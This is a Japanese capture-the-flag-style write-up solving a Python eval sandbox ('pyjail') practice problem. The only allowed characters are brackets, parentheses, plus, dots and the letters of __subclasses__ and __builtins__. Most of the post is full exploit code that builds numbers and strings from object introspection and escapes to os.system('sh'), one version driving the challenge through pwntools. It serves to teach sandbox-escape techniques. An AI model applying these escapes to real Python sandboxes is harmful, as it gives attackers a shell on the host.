👮‍♀️

pyjail解説記事の練習問題の答え

に公開

問題

#!/usr/bin/python -S

# 逆に__subclasses__と__builtins__しか使っちゃだめ!
allowed = '[(+).__subclasses__.__builtins__]'

code = input('Are you pyjail master?: ')
assert all(c in allowed for c in code)
print(eval(code, {"__builtins__": {}}, {"__builtins__": {}}))

解答

この問題で任意コード実行するには2つの課題があります。

  1. 任意のint型をどのように表現するか?
  2. 任意の文字列をどのように表現するか?

任意のint型の表現

いくつか方法はありますが私が最初に思いついたのは次の方法です。

[[]].__len__()

が1を返すことと、+が許可されていることを利用して任意の数字を表現できます。

Satokiさんの解法では、

()is()

Trueを返すこと、True1のエイリアスであることを利用すると同様に+を利用して任意の数字が表現できます。

また、色々試していると、次の表現でかなり短く大きい数字を表現できることがわかりました。

([[]]+[[]]+[[]]).__len__() # 3

任意のstr型の表現

str関数はクラスオブジェクトでもあることを利用して、

[].__class__.__base__.__subclasses__()[69]

で取得できます。あとは、str関数にいろいろ代入してみて、目当ての文字を探し、それらを+で結合することで任意の文字列を生成することができます。例えば、eの文字がほしい場合、str([].__len__)<method-wrapper '__len__' of list object at 0x7fe0f01d8b40>のような文字列になることを利用して、str([].__len__)[2]で取得できます。

想定解1: exec(input())まで

以下がexec(input())までの想定解です。

allowed = '[(+).__subclasses__.__builtins__]'

def make_n(n):
    return "+".join(["[[]].__len__()"] * n)

_str = f'[].__class__.__base__.__subclasses__()[{make_n(69)}]'
_builtins = f'[].__class__.__base__.__subclasses__()[{make_n(114)}].__init__.__builtins__'
ss = {
    'e': f'{_str}([].__len__)[{make_n(2)}]',
    'x': f'{_str}([].__len__)[{make_n(45)}]',
    'c': f'{_str}([].__class__)[{make_n(1)}]',
    'i': f'{_str}([].__class__)[{make_n(9)}]',
    'n': f'{_str}([].__len__)[{make_n(21)}]',
    'p': f'{_str}([].__len__)[{make_n(11)}]',
    'u': f'{_str}(().__class__)[{make_n(9)}]',
    't': f'{_str}([].__class__)[{make_n(11)}]',
}
def make_str(s):
    return "+".join(ss[c] for c in s)

code  = f"{_builtins}[{make_str('exec')}]({_builtins}[{make_str('input')}]())"
assert all(c in allowed for c in code)

from pwn import *
io = process('./main.py')
io.sendlineafter(b'Are you pyjail master?: ', code.encode())
io.sendline(b"[].__class__.__class__.__subclasses__([].__class__.__class__)[0].register.__builtins__['__import__']('os').system('sh')")
io.interactive()

想定解2: os.system('sh')まで

直接os.system('sh')を実行したい場合、object.__subclasses__()から適切なクラスを取得して文字を取り出す必要があります。例えば、次のコードで欲しい文字を計算することができます。

target = "v"
for i in range(100):
    
    code = f'{_str}([].__class__.__base__.__subclasses__()[{make_n(i)}])'

    assert all(c in allowed for c in code)
    x = eval(code, {"__builtins__": {}}, {"__builtins__": {}})
    if target in x:
        print(i, x, x.index(target))
        break

それを利用して文字を一つひとつ探していき、exec関数で任意コードを実行する解法です。

allowed = '[(+).__subclasses__.__builtins__]'

def make_n(n):
    div = n // 19 # len(().__class__.__subclasses__()) == 19である
    rem = n % 19
    
    return "(" + "+".join((["().__class__.__subclasses__()"] * div)+(["[[]]"] * rem)) + ").__len__()"

_str = f'[].__class__.__base__.__subclasses__()[{make_n(69)}]'
_builtins = f'[].__class__.__base__.__subclasses__()[{make_n(114)}].__init__.__builtins__'
ss = {
    '[': f'{_str}([])[[].__len__()]',
    ']': f'{_str}([])[{make_n(1)}]',
    '(': f'{_str}(())[[].__len__()]',
    ')': f'{_str}(())[{make_n(1)}]',
    '.': f'{_str}(().__class__.__subclasses__()[[].__len__()])[{make_n(11)}]',
    '_': f'{_str}(().__class__.__subclasses__()[[].__len__()])[{make_n(15)}]',
    "'": f'{_str}([].__class__)[{make_n(7)}]',
    '0': f'{_str}([].__len__())',
    '1': f'{_str}([[]].__len__())',
    '4': f'{_str}({make_n(4)})',
    'a': f'{_str}([].__class__)[{make_n(3)}]',
    'b': f'{_str}([].__class__.__base__)[{make_n(9)}]',
    'c': f'{_str}([].__class__)[{make_n(1)}]',
    'e': f'{_str}([].__len__)[{make_n(2)}]',
    'g': f'{_str}([].__class__.__base__.__subclasses__()[{make_n(1)}])[{make_n(14)}]',
    'h': f'{_str}(().__class__.__subclasses__()[{make_n(3)}])[{make_n(12)}]',
    'i': f'{_str}([].__class__)[{make_n(9)}]',
    'l': f'{_str}([].__class__)[{make_n(2)}]',
    'm': f'{_str}([].__class__.__base__.__subclasses__()[{make_n(10)}])[{make_n(13)}]',
    'n': f'{_str}(().__class__.__subclasses__()[{make_n(2)}])[{make_n(9)}]',
    'o': f'{_str}([].__class__.__base__)[{make_n(8)}]',
    'p': f'{_str}(().__class__)[{make_n(10)}]',
    'r': f'{_str}([].__class__.__base__.__subclasses__()[{make_n(1)}])[{make_n(18)}]',
    's': f'{_str}([].__class__)[{make_n(4)}]',
    't': f'{_str}([].__class__)[{make_n(11)}]',
    'u': f'{_str}(().__class__)[{make_n(9)}]',
    'v': f'{_str}([].__class__.__base__.__subclasses__()[{make_n(14)}])[{make_n(16)}]',
    'x': f'{_str}([].__class__.__base__.__subclasses__()[{make_n(13)}])[{make_n(14)}]',
    'y': f'{_str}(().__class__.__subclasses__()[[].__len__()])[{make_n(9)}]',
}
def make_str(s):
    return "+".join(ss[c] for c in s)

code = f"{_builtins}[{make_str('exec')}]({make_str('[].__class__.__base__.__subclasses__()[114].__init__.__builtins__[\'__import__\'](\'os\').system(\'sh\')')})"
print(len(code)) # 28965文字!
assert all(c in allowed for c in code)
print(eval(code, {"__builtins__": {}}, {"__builtins__": {}}))

Discussion